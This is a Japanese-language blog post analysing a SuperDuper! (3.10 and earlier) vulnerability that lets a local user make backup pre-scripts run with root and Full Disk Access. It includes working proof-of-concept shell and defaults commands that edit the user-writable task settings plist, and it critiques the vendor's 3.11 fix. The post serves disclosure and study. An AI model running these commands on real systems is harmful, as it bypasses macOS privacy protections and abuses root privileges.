開発者のブログより:
ユーザーが設定可能な Before/After シェルスクリプトは、SuperDuper の TCC フルディスクアクセス権限で昇格して実行されます。これらのシェルスクリプトはコピーまたはスケジュールの設定ファイルから参照されるため、悪意のある攻撃者がその設定を変更して自分のスクリプトを実行させる可能性があります。
CVE より:
Shirt Pocket の SuperDuper! 3.10 以前の問題により、ローカルの攻撃者がデフォルトのタスクテンプレートを変更し、任意の preflight スクリプトを root 権限とフルディスクアクセスで実行させ、macOS のプライバシー管理を回避できる可能性があります。
この著者は本脆弱性の発見者ではありません。発見者は SuperDuper 開発者によって「anonymous security researcher（匿名のセキュリティ研究者）」とされています。私はこの脆弱性の発見を主張するものではなく、技術的解析に興味を持ったにすぎません。
CVSS 3.1 スコア: 7.8 High (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
この脆弱性を回避するには、SuperDuper! アプリケーションを削除するか、3.11 アップデートを適用してください。
警告: CVE-2025-61228 の脆弱性を回避するには、更新プログラムを開発者のウェブサイトから直接ダウンロードする必要があります。
このエクスプロイト解析および概念実証は、教育目的のみで提供されています。ご自身の責任で使用してください。
root 権限とフルディスクアクセスは、macOS でソフトウェアが取得できる最高権限です。それらの権限を要求する開発者は、現代のセキュリティ設計原則とベストプラクティスに準拠したソフトウェアを書くべきです。この脆弱性、そして CVE-2025-57489 と CVE-2025-61228 で明らかになった脆弱性、さらに開発者自身がこれらの問題が 22年間 続いていると認めていることは、SuperDuper が 安全な製品として設計され ておらず、22年間にわたって現代のセキュリティベストプラクティスに準拠するための定期的な設計改良も行われてこなかったことを示しています。
SuperDuper のタスク設定は、現在の (3.11) バージョンでも本質的に安全ではありません。私はこの製品を利用しているすべての人に対し、前述のセキュリティ上の懸念を完全に解決する適切なアップデートを開発者が提供するまで、使用を中止することをお勧めします。
この脆弱性は、以前の 2 つのエクスプロイト (CVE-2025-57489 および CVE-2025-61228) よりもはるかに悪用が容易でした。率直に言って、簡単すぎました。脆弱性がこれほど明白で悪用しやすく、何十年も放置されていると、開発者にとって安全なソフトウェアを書くことが重要であるのか疑問に思えてきます。
脆弱性のあるバージョンのアプリケーション から始めて、最初に行うべきことは、この「デフォルトのタスクテンプレート」がどこにあるかを見つけることです。最初に確認すべき明白な場所は /Library/Application Support/{vendor/product name} でしょう。その通り、/Library/Application Support/SuperDuper! には 3 つのフォルダがあります。
「Copy Scripts」にはアプリケーションバンドル内のフォルダへのシンボリックリンクしかないため、対象外です。Saved Settings の中には、「.Default Settings.sdsp」という名前の隠しフォルダがあります。そのフォルダの中には、「Logs」フォルダと、plist 形式の「Session Settings.sdss」という単一のファイルがあります。この Session Settings ファイルはログインユーザーが所有しており、そうです、すべてのタスク設定がこのファイルにむき出しのまま置かれています。
Before/After スクリプトは、次の 4 つの設定によって制御されます。
<key>SDbeforeCopyScript</key>
<string></string>
<key>SDsiteCustomizationScript</key>
<string></string>
<key>SDshouldInvokeBeforeCopyScript</key>
<false/>
<key>SDshouldInvokeSiteCustomizationScript</key>
<false/>
次の簡単なテストスクリプトで、この脆弱性の両方の側面を実証できます。
mkdir /tmp/script
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/script/before.sh
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/script/before.sh
chmod a+x /tmp/script/before.sh
次に、「Session Settings.sdss」plist を編集するだけです。defaults ユーティリティですぐに処理できますが、defaults は .plist 拡張子を持つファイルを必要とするため、このファイルのコピーを作成する必要があります。
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInvokeBeforeCopyScript -bool YES
defaults write "`pwd`"/Settings.plist SDbeforeCopyScript /tmp/script/before.sh
cp Settings.plist 'Session Settings.sdss'
SuperDuper を開いてバックアップを実行します。完了したら、/Library 内の「private_data.txt」ファイルを探します (デスクトップのファイル一覧が含まれているはずです。このデータは、そのプライベートデータにアクセスする特別な特権を持つアプリケーションだけがアクセスできます)。正直なところ、タスク設定がこれほど脆弱なことには少し驚いています。「Are」はタイプミスではありません。開発者はこの脆弱性の「解決策」を次のように説明しています。
この脆弱性を緩和するために、v3.11 では 2 つの変更を行いました。
Before/After シェルスクリプトは、ユーザーの ID と権限で実行されるよう強制されます。別の実行コンテキストを必要とするユーザーは、suid などの通常の Unix 方式で実行できます。
スクリプトは、通常のユーザーコンテキストで実行される場合でも、root ユーザーが所有している必要があります。これにより、実行されるスクリプトが管理者ユーザーによって明示的に承認されていることが保証されます。
つまり、Before/After スクリプトとして実行できるものにいくつかの制限を課しましたが、タスク設定ファイルのセキュリティは改善していないようです。残念ながら、これは攻撃者が何か生産的なことをするのを制限するだけです。Before/After シェルスクリプトの唯一の要件は、root が所有していることです。それ以外には、攻撃者はデフォルトのタスク設定テンプレートを自由に変更できてしまいます。これは完全に不合理です。攻撃者はこれらの Before/After スクリプトを使ってパスワードや金融データを窃取することはできないかもしれませんが、root が所有しているという要件を満たす組み込みシェルツール (ほとんどが該当) を指定して、かなりの混乱を引き起こすことはできるでしょう。実際に「/usr/bin/say」ユーティリティを Before スクリプトとして設定して、何が起こるか試してみてください。データセキュリティがこれほど深刻なテーマでなければ、笑い話になるでしょう。組み込みユーティリティは、引数を変更できなければ 重大な 影響はありませんが、一部は迷惑をかける可能性があり、バックアップは間違いなく失敗するでしょう。
私が言いたいのは、「root エクスプロイトを回避すること」と「安全なソフトウェアを書くこと」には違いがあるということです。開発者はここで 2 つの root エクスプロイトの機会をほぼ回避しましたが、タスク構成は依然として本質的に安全ではありません。誰でもタスク設定を「裏で」変更でき、注意を払っていなければ、その変更がデータやバックアップに何らかの影響を与える可能性があります。
また、他の設定におけるこのセキュリティ欠如がまだ悪用される可能性があるかどうかも疑問に思うべきです。